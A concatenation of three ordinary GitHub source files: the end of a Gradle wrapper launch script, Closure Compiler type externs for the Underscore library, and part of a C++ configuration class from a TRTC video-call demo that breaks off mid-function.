fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD="java"
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
# Increase the maximum file descriptors if we can.
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
MAX_FD_LIMIT=`ulimit -H -n`
if [ $? -eq 0 ] ; then
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
MAX_FD="$MAX_FD_LIMIT"
fi
ulimit -n $MAX_FD
if [ $? -ne 0 ] ; then
warn "Could not set maximum file descriptor limit: $MAX_FD"
fi
else
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
fi
fi
# For Darwin, add options to specify how the application appears in the dock
if $darwin; then
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
fi
# For Cygwin or MSYS, switch paths to Windows format before running java
if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
JAVACMD=`cygpath --unix "$JAVACMD"`
# We build the pattern for arguments to be converted via cygpath
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
SEP=""
for dir in $ROOTDIRSRAW ; do
ROOTDIRS="$ROOTDIRS$SEP$dir"
SEP="|"
done
OURCYGPATTERN="(^($ROOTDIRS))"
# Add a user-defined pattern to the cygpath arguments
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
fi
# Now convert the arguments - kludge to limit ourselves to /bin/sh
i=0
for arg in "$@" ; do
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
else
eval `echo args$i`="\"$arg\""
fi
i=`expr $i + 1`
done
case $i in
0) set -- ;;
1) set -- "$args0" ;;
2) set -- "$args0" "$args1" ;;
3) set -- "$args0" "$args1" "$args2" ;;
4) set -- "$args0" "$args1" "$args2" "$args3" ;;
5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
esac
fi
# Escape application args
save () {
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
echo " "
}
APP_ARGS=`save "$@"`
# Collect all arguments for the java command, following the shell quoting and substitution rules
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
exec "$JAVACMD" "$@"
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2012 The Closure Compiler Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @fileoverview Externs for Underscore 1.3.1.
*
* TODO: Wrapper objects.
* TODO: _.bind - for some reason this plays up in practice.
*
* @see http://documentcloud.github.com/underscore/
* @externs
*/
/**
* @param {Object} obj
* @return {!_}
* @constructor
*/
function _(obj) {}
// Collection functions
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
*/
_.each = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
*/
_.forEach = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {!Array}
*/
_.map = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {!Array}
*/
_.collect = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {*} memo
* @param {Object=} opt_context
* @return {!*}
*/
_.reduce = function(obj, iterator, memo, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {*} memo
* @param {Object=} opt_context
* @return {!*}
*/
_.inject = function(obj, iterator, memo, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {*} memo
* @param {Object=} opt_context
* @return {!*}
*/
_.foldl = function(obj, iterator, memo, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {*} memo
* @param {Object=} opt_context
* @return {!*}
*/
_.reduceRight = function(obj, iterator, memo, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {*} memo
* @param {Object=} opt_context
* @return {!*}
*/
_.foldr = function(obj, iterator, memo, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {!*}
*/
_.find = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {!*}
*/
_.detect = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {!Array}
*/
_.filter = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {!Array}
*/
_.select = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {!Array}
*/
_.reject = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {boolean}
*/
_.every = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {boolean}
*/
_.all = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function=} opt_iterator
* @param {Object=} opt_context
* @return {boolean}
*/
_.some = function(obj, opt_iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function=} opt_iterator
* @param {Object=} opt_context
* @return {boolean}
*/
_.any = function(obj, opt_iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {*} target
* @return {boolean}
*/
_.include = function(obj, target) {};
/**
* @param {Object|Array} obj
* @param {*} target
* @return {boolean}
*/
_.contains = function(obj, target) {};
/**
* @param {Object|Array} obj
* @param {Function} method
* @param {...*} var_args
*/
_.invoke = function(obj, method, var_args) {};
/**
* @param {Array.<Object>} obj
* @param {string} key
* @return {!Array}
*/
_.pluck = function(obj, key) {};
/**
* @param {Object|Array} obj
* @param {Function=} opt_iterator
* @param {Object=} opt_context
* @return {!*}
*/
_.max = function(obj, opt_iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {Function=} opt_iterator
* @param {Object=} opt_context
* @return {!*}
*/
_.min = function(obj, opt_iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @return {!Array}
*/
_.shuffle = function(obj) {};
/**
* @param {Object|Array} obj
* @param {Function} iterator
* @param {Object=} opt_context
* @return {!Array}
*/
_.sortBy = function(obj, iterator, opt_context) {};
/**
* @param {Object|Array} obj
* @param {string|Function} iterator
* @return {!Array.<!Array>}
*/
_.groupBy = function(obj, iterator) {};
/**
* @param {Array} list
* @param {*} obj
* @param {Function=} opt_iterator
* @return {!number}
*/
_.sortedIndex = function(list, obj, opt_iterator) {};
/**
* @param {*} iterable
* @return {!Array}
*/
_.toArray = function(iterable) {};
/**
* @param {Object|Array} obj
* @return {!Array}
*/
_.size = function(obj) {};
// Array functions
/**
* @param {Array} array
* @param {number=} opt_n
* @return {!*}
*/
_.first = function(array, opt_n) {};
/**
* @param {Array} array
* @param {number=} opt_n
* @return {!*}
*/
_.head = function(array, opt_n) {};
/**
* @param {Array} array
* @param {number=} opt_n
* @return {!Array}
*/
_.initial = function(array, opt_n) {};
/**
* @param {Array} array
* @param {number=} opt_n
* @return {!Array}
*/
_.last = function(array, opt_n) {};
/**
* @param {Array} array
* @param {number=} opt_n
* @return {!*}
*/
_.rest = function(array, opt_n) {};
/**
* @param {Array} array
* @param {number=} opt_n
* @return {!*}
*/
_.tail = function(array, opt_n) {};
/**
* @param {Array} array
* @return {!Array}
*/
_.compact = function(array) {};
/**
* @param {Array} array
* @param {boolean=} opt_shallow
* @return {!Array}
*/
_.flatten = function(array, opt_shallow) {};
/**
* @param {Array} array
* @param {...*} var_args
* @return {!Array}
*/
_.without = function(array, var_args) {};
/**
* @param {Array} array
* @param {boolean=} opt_isSorted
* @param {Function=} opt_iterator
* @return {!Array}
*/
_.uniq = function(array, opt_isSorted, opt_iterator) {};
/**
* @param {Array} array
* @param {boolean=} opt_isSorted
* @param {Function=} opt_iterator
* @return {!Array}
*/
_.unique = function(array, opt_isSorted, opt_iterator) {};
/**
* @param {...Array} arrays
* @return {!Array}
*/
_.union = function(arrays) {};
/**
* @param {...Array} arrays
* @return {!Array}
*/
_.intersection = function(arrays) {};
/**
* @param {...Array} arrays
* @return {!Array}
*/
_.intersect = function(arrays) {};
/**
* @param {Array} array
* @param {...Array} arrays
* @return {!Array}
*/
_.difference = function(array, arrays) {};
/**
* @param {...Array} arrays
* @return {!Array}
*/
_.zip = function(arrays) {};
/**
* @param {Array} array
* @param {*} item
* @param {boolean=} opt_isSorted
* @return {!number}
*/
_.indexOf = function(array, item, opt_isSorted) {};
/**
* @param {Array} array
* @param {*} item
* @return {!number}
*/
_.lastIndexOf = function(array, item) {};
/**
* @param {number} start
* @param {number=} opt_stop
* @param {number=} opt_step
* @return {!Array.<number>}
*/
_.range = function(start, opt_stop, opt_step) {};
// Function (ahem) functions
/**
* @param {Object} obj
* @param {...string} methodNames
*/
_.bindAll = function(obj, methodNames) {};
/**
* @param {Function} func
* @param {Function=} opt_hasher
*/
_.memoize = function(func, opt_hasher) {};
/**
* @param {Function} func
* @param {number} wait
* @param {...*} var_args
*/
_.delay = function(func, wait, var_args) {};
/**
* @param {Function} func
*/
_.defer = function(func) {};
/**
* @param {Function} func
* @param {number} wait
*/
_.throttle = function(func, wait) {};
/**
* @param {Function} func
* @param {number} wait
*/
_.debounce = function(func, wait) {};
/**
* @param {Function} func
*/
_.once = function(func) {};
/**
* @param {Function} func
* @param {Function} wrapper
* @return {!Function}
*/
_.wrap = function(func, wrapper) {};
/**
* @param {...Function} funcs
* @return {!Function}
*/
_.compose = function(funcs) {};
/**
* @param {number} times
* @param {Function} func
*/
_.after = function(times, func) {};
// Object functions
/**
* @param {Object} obj
* @return {!Array.<string>}
*/
_.keys = function(obj) {};
/**
* @param {Object} obj
* @return {!Array}
*/
_.values = function(obj) {};
/**
* @param {Object} obj
* @return {!Array.<string>}
*/
_.functions = function(obj) {};
/**
* @param {Object} obj
* @return {!Array.<string>}
*/
_.methods = function(obj) {};
/**
* @param {Object} obj
* @param {...Object} objs
*/
_.extend = function(obj, objs) {};
/**
* @param {Object} obj
* @param {...Object} defs
*/
_.defaults = function(obj, defs) {};
/**
* @param {Object} obj
* @return {Object}
*/
_.clone = function(obj) {};
/**
* @param {Object} obj
* @param {Function} interceptor
* @return {Object} obj
*/
_.tap = function(obj, interceptor) {};
/**
* @param {Object} a
* @param {Object} b
* @return {boolean}
*/
_.isEqual = function(a, b) {};
/**
* @param {Object|Array|string} obj
* @return {boolean}
*/
_.isEmpty = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isElement = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isArray = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isObject = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isArguments = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isFunction = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isString = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isNumber = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isNaN = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isBoolean = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isDate = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isRegExp = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isNull = function(obj) {};
/**
* @param {*} obj
* @return {boolean}
*/
_.isUndefined = function(obj) {};
/**
* @param {Object} obj
* @param {string} key
* @return {boolean}
*/
_.has = function(obj, key) {};
// Utility functions
/**
* @return {_}
*/
_.noConflict = function() {};
/**
* @param {*} value
* @return {*}
*/
_.identity = function(value) {};
/**
* @param {number} n
* @param {Function} iterator
* @param {Object=} opt_context
*/
_.times = function(n, iterator, opt_context) {};
/**
* @param {string} s
* @return {string}
*/
_.escape = function(s) {};
/**
* @param {Object} obj
*/
_.mixin = function(obj) {};
/**
* @param {string=} opt_prefix
* @return {number|string}
*/
_.uniqueId = function(opt_prefix) {};
/**
* @param {string} str
* @param {Object=} opt_data
*/
_.template = function(str, opt_data) {};
| {
"pile_set_name": "Github"
} |
#include "StdAfx.h"
#include "DataCenter.h"
#include "ConfigMgr.h"
#include "TrtcUtil.h"
#include "util/Base.h"
#include <mutex>
#include "util/md5.h"
#include <strstream>
#include <iostream>
#include <iomanip>
#include "GenerateTestUserSig.h"
//////////////////////////////////////////////////////////////////////////CDataCenter
static std::shared_ptr<CDataCenter> s_pInstance;
static std::mutex engine_mex;
CRITICAL_SECTION g_DataCS;
std::shared_ptr<CDataCenter> CDataCenter::GetInstance()
{
if (s_pInstance == NULL) {
engine_mex.lock();
if (s_pInstance == NULL)
{
s_pInstance = std::make_shared<CDataCenter>();
}
engine_mex.unlock();
}
return s_pInstance;
}
CDataCenter::CDataCenter()
{
::InitializeCriticalSection(&g_DataCS);//初始化关键代码段对象
m_pConfigMgr = new CConfigMgr;
VideoResBitrateTable& info1 = m_videoConfigMap[TRTCVideoResolution_120_120];
info1.init(150, 40, 200);
VideoResBitrateTable& info2 = m_videoConfigMap[TRTCVideoResolution_160_160];
info2.init(250, 40, 300);
VideoResBitrateTable& info3 = m_videoConfigMap[TRTCVideoResolution_270_270];
info3.init(300, 100, 400);
VideoResBitrateTable& info4 = m_videoConfigMap[TRTCVideoResolution_480_480];
info4.init(500, 200, 1000);
VideoResBitrateTable& info5 = m_videoConfigMap[TRTCVideoResolution_160_120];
info5.init(150, 40, 200);
VideoResBitrateTable& info6 = m_videoConfigMap[TRTCVideoResolution_240_180];
info6.init(200, 80, 300);
VideoResBitrateTable& info7 = m_videoConfigMap[TRTCVideoResolution_280_210];
info7.init(200, 100, 300);
VideoResBitrateTable& info8 = m_videoConfigMap[TRTCVideoResolution_320_240];
info8.init(400, 100, 400);
VideoResBitrateTable& info9 = m_videoConfigMap[TRTCVideoResolution_400_300];
info9.init(400, 200, 800);
VideoResBitrateTable& info10 = m_videoConfigMap[TRTCVideoResolution_480_360];
info10.init(500, 200, 800);
VideoResBitrateTable& info11 = m_videoConfigMap[TRTCVideoResolution_640_480];
info11.init(700, 250, 1000);
VideoResBitrateTable& info12 = m_videoConfigMap[TRTCVideoResolution_960_720];
info12.init(1000, 200, 1600);
VideoResBitrateTable& info13 = m_videoConfigMap[TRTCVideoResolution_320_180];
info13.init(300, 80, 300);
VideoResBitrateTable& info14 = m_videoConfigMap[TRTCVideoResolution_480_270];
info14.init(400, 200, 800);
VideoResBitrateTable& info15 = m_videoConfigMap[TRTCVideoResolution_640_360];
info15.init(600, 200, 1000);
VideoResBitrateTable& info16 = m_videoConfigMap[TRTCVideoResolution_960_540];
info16.init(900, 400, 1600);
VideoResBitrateTable& info17 = m_videoConfigMap[TRTCVideoResolution_1280_720];
info17.init(1250, 500, 2000);
VideoResBitrateTable& info18 = m_videoConfigMap[TRTCVideoResolution_1920_1080];
info18.init(2000, 1000, 3000);
m_sceneParams = TRTCAppSceneVideoCall;
}
CDataCenter::~CDataCenter()
{
UnInit();
::DeleteCriticalSection(&g_DataCS);//删除关键代码段对象
if (m_pConfigMgr)
{
delete m_pConfigMgr;
m_pConfigMgr = nullptr;
}
}
void CDataCenter::CleanRoomInfo()
{
m_remoteUser.clear();
m_vecPKUserList.clear();
m_localInfo._bEnterRoom = false;
m_localInfo.publish_audio = false;
m_localInfo.publish_main_video = false;
m_localInfo.publish_sub_video = false;
m_bCustomAudioCapture = false;
m_bCustomVideoCapture = false;
m_strCustomStreamId = "";
m_strMixStreamId = "";
}
void CDataCenter::UnInit()
{
WriteEngineConfig();
}
LocalUserInfo & CDataCenter::getLocalUserInfo()
{
return m_localInfo;
}
CDataCenter::VideoResBitrateTable CDataCenter::getVideoConfigInfo(int resolution)
{
VideoResBitrateTable info;
if (m_videoConfigMap.find(resolution) != m_videoConfigMap.end())
info = m_videoConfigMap[resolution];
if (m_sceneParams == TRTCAppSceneLIVE)
info.resetLiveSence();
return info;
}
void CDataCenter::Init()
{
if (m_pConfigMgr->GetSize() == 0)
{
m_localInfo._userId = TrtcUtil::genRandomNumString(8);
return;
}
std::wstring id;
bool bIdRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_USER_ID, id);
if (id.compare(L"") == 0 || !bIdRet)
m_localInfo._userId = TrtcUtil::genRandomNumString(8);
else
m_localInfo._userId = Wide2UTF8(id);
//音视频参数配置
std::wstring strParam;
bool bRet = false;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_VIDEO_BITRATE, strParam);
if (bRet)
m_videoEncParams.videoBitrate = _wtoi(strParam.c_str());
else
m_videoEncParams.videoBitrate = 550;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_VIDEO_RESOLUTION, strParam);
if (bRet)
m_videoEncParams.videoResolution = (TRTCVideoResolution)_wtoi(strParam.c_str());
else
m_videoEncParams.videoResolution = TRTCVideoResolution_640_360;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_VIDEO_FPS, strParam);
if (bRet)
m_videoEncParams.videoFps = _wtoi(strParam.c_str());
else
m_videoEncParams.videoFps = 15;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_VIDEO_QUALITY, strParam);
if (bRet)
m_qosParams.preference = (TRTCVideoQosPreference)_wtoi(strParam.c_str());
else
m_qosParams.preference = TRTCVideoQosPreferenceClear;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_VIDEO_QUALITY_CONTROL, strParam);
if (bRet)
m_qosParams.controlMode = (TRTCQosControlMode)_wtoi(strParam.c_str());
else
m_qosParams.controlMode = TRTCQosControlModeServer;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_VIDEO_APP_SCENE, strParam);
if (bRet)
m_sceneParams = (TRTCAppScene)_wtoi(strParam.c_str());
else
m_sceneParams = TRTCAppSceneVideoCall;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_ROLE_TYPE, strParam);
if (bRet)
m_roleType = (TRTCRoleType)_wtoi(strParam.c_str());
else
m_roleType = TRTCRoleAnchor;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_BEAUTY_OPEN, strParam);
if (bRet)
m_beautyConfig._bOpenBeauty = _wtoi(strParam.c_str());
else
m_beautyConfig._bOpenBeauty = false;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_BEAUTY_STYLE, strParam);
if (bRet)
m_beautyConfig._beautyStyle = (TRTCBeautyStyle)_wtoi(strParam.c_str());
else
m_beautyConfig._beautyStyle = TRTCBeautyStyleSmooth;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_BEAUTY_VALUE, strParam);
if (bRet)
m_beautyConfig._beautyValue = _wtoi(strParam.c_str());
else
m_beautyConfig._beautyValue = 0;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_WHITE_VALUE, strParam);
if (bRet)
m_beautyConfig._whiteValue = _wtoi(strParam.c_str());
else
m_beautyConfig._whiteValue = 0;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_RUDDINESS_VALUE, strParam);
if (bRet)
m_beautyConfig._ruddinessValue = _wtoi(strParam.c_str());
else
m_beautyConfig._ruddinessValue = 0;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_SET_PUSH_SMALLVIDEO, strParam);
if (bRet)
m_bPushSmallVideo = _wtoi(strParam.c_str());
else
m_bPushSmallVideo = false;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_SET_PLAY_SMALLVIDEO, strParam);
if (bRet)
m_bPlaySmallVideo = _wtoi(strParam.c_str());
else
m_bPlaySmallVideo = false;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_SET_NETENV_STYLE, strParam);
if (bRet)
m_nLinkTestServer = _wtoi(strParam.c_str());
else
m_nLinkTestServer = 0;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_VIDEO_RES_MODE, strParam);
if (bRet)
m_videoEncParams.resMode = (TRTCVideoResolutionMode)_wtoi(strParam.c_str());
else
m_videoEncParams.resMode = TRTCVideoResolutionModeLandscape;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_REMOTE_VIDEO_MIRROR, strParam);
if (bRet)
m_bRemoteVideoMirror = _wtoi(strParam.c_str());
else
m_bRemoteVideoMirror = false;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_SHOW_AUDIO_VOLUME, strParam);
if (bRet)
m_bShowAudioVolume = _wtoi(strParam.c_str());
else
m_bShowAudioVolume = false;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_CLOUD_MIX_TRANSCODING, strParam);
if (bRet)
m_bCDNMixTranscoding = _wtoi(strParam.c_str());
else
m_bCDNMixTranscoding = false;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_PUBLISH_SCREEN_IN_BIG_STREAM, strParam);
if (bRet)
m_bPublishScreenInBigStream = _wtoi(strParam.c_str());
else
m_bPublishScreenInBigStream = false;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_MIX_TEMP_ID, strParam);
if (bRet)
m_mixTemplateID = (TRTCAppScene)_wtoi(strParam.c_str());
else
m_mixTemplateID = TRTCTranscodingConfigMode_Manual;
/*
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_MIC_VOLUME, strParam);
if (bRet)
m_micVolume = _wtoi(strParam.c_str());
else
m_micVolume = 100;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_SPEAKER_VOLUME, strParam);
if (bRet)
m_speakerVolume = _wtoi(strParam.c_str());
else
m_speakerVolume = 100;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_ENABLE_AEC, strParam);
if (bRet)
m_bEnableAec = _wtoi(strParam.c_str());
else
m_bEnableAec = 0;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_ENABLE_ANS, strParam);
if (bRet)
m_bEnableAns = _wtoi(strParam.c_str());
else
m_bEnableAns = 0;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_ENABLE_AGC, strParam);
if (bRet)
m_bEnableAgc = _wtoi(strParam.c_str());
else
m_bEnableAgc = 0;
*/
std::wstring ip;
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_SOCKS5_PROXY_IP, ip);
if (ip.compare(L"") != 0 && bRet)
m_strSocks5ProxyIp = Wide2UTF8(ip);
bRet = m_pConfigMgr->GetValue(INI_ROOT_KEY, INI_KEY_SOCKS5_PROXY_PORT, strParam);
if (bRet)
m_strSocks5ProxyPort = _wtoi(strParam.c_str());
else
m_strSocks5ProxyPort = 0;
}
void CDataCenter::WriteEngineConfig()
{
//User Info
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_USER_ID, UTF82Wide(m_localInfo._userId));
//m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_USER_ID, UTF82Wide(""));
//设备选项
//音视频参数配置
DuiLib::CDuiString strFormat;
strFormat.Format(L"%d", m_videoEncParams.videoBitrate);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_VIDEO_BITRATE, strFormat.GetData());
strFormat.Format(L"%d", m_videoEncParams.videoResolution);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_VIDEO_RESOLUTION, strFormat.GetData());
strFormat.Format(L"%d", m_videoEncParams.videoFps);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_VIDEO_FPS, strFormat.GetData());
strFormat.Format(L"%d", m_qosParams.preference);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_VIDEO_QUALITY, strFormat.GetData());
strFormat.Format(L"%d", m_qosParams.controlMode);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_VIDEO_QUALITY_CONTROL, strFormat.GetData());
strFormat.Format(L"%d", m_sceneParams);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_VIDEO_APP_SCENE, strFormat.GetData());
strFormat.Format(L"%d", m_roleType);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_ROLE_TYPE, strFormat.GetData());
strFormat.Format(L"%d", m_beautyConfig._bOpenBeauty);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_BEAUTY_OPEN, strFormat.GetData());
strFormat.Format(L"%d", m_beautyConfig._beautyStyle);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_BEAUTY_STYLE, strFormat.GetData());
strFormat.Format(L"%d", m_beautyConfig._beautyValue);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_BEAUTY_VALUE, strFormat.GetData());
strFormat.Format(L"%d", m_beautyConfig._whiteValue);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_WHITE_VALUE, strFormat.GetData());
strFormat.Format(L"%d", m_beautyConfig._ruddinessValue);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_RUDDINESS_VALUE, strFormat.GetData());
strFormat.Format(L"%d", m_bPushSmallVideo);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_SET_PUSH_SMALLVIDEO, strFormat.GetData());
strFormat.Format(L"%d", m_bPlaySmallVideo);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_SET_PLAY_SMALLVIDEO, strFormat.GetData());
strFormat.Format(L"%d", m_nLinkTestServer);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_SET_NETENV_STYLE, strFormat.GetData());
strFormat.Format(L"%d", m_bLocalVideoMirror);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_LOCAL_VIDEO_MIRROR, strFormat.GetData());
strFormat.Format(L"%d", m_bRemoteVideoMirror);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_REMOTE_VIDEO_MIRROR, strFormat.GetData());
strFormat.Format(L"%d", m_bShowAudioVolume);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_SHOW_AUDIO_VOLUME, strFormat.GetData());
strFormat.Format(L"%d", m_bCDNMixTranscoding);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_CLOUD_MIX_TRANSCODING, strFormat.GetData());
strFormat.Format(L"%d", m_mixTemplateID);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_MIX_TEMP_ID, strFormat.GetData());
strFormat.Format(L"%d", m_bPublishScreenInBigStream);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_PUBLISH_SCREEN_IN_BIG_STREAM, strFormat.GetData());
/*
strFormat.Format(L"%d", m_micVolume);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_MIC_VOLUME, strFormat.GetData());
strFormat.Format(L"%d", m_speakerVolume);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_SPEAKER_VOLUME, strFormat.GetData());
strFormat.Format(L"%d", m_bEnableAec);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_ENABLE_AEC, strFormat.GetData());
strFormat.Format(L"%d", m_bEnableAns);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_ENABLE_ANS, strFormat.GetData());
strFormat.Format(L"%d", m_bEnableAgc);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_ENABLE_AGC, strFormat.GetData());
*/
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_SOCKS5_PROXY_IP, UTF82Wide(m_strSocks5ProxyIp));
strFormat.Format(L"%d", m_strSocks5ProxyPort);
m_pConfigMgr->SetValue(INI_ROOT_KEY, INI_KEY_SOCKS5_PROXY_PORT, strFormat.GetData());
}
CDataCenter::BeautyConfig & CDataCenter::GetBeautyConfig()
{
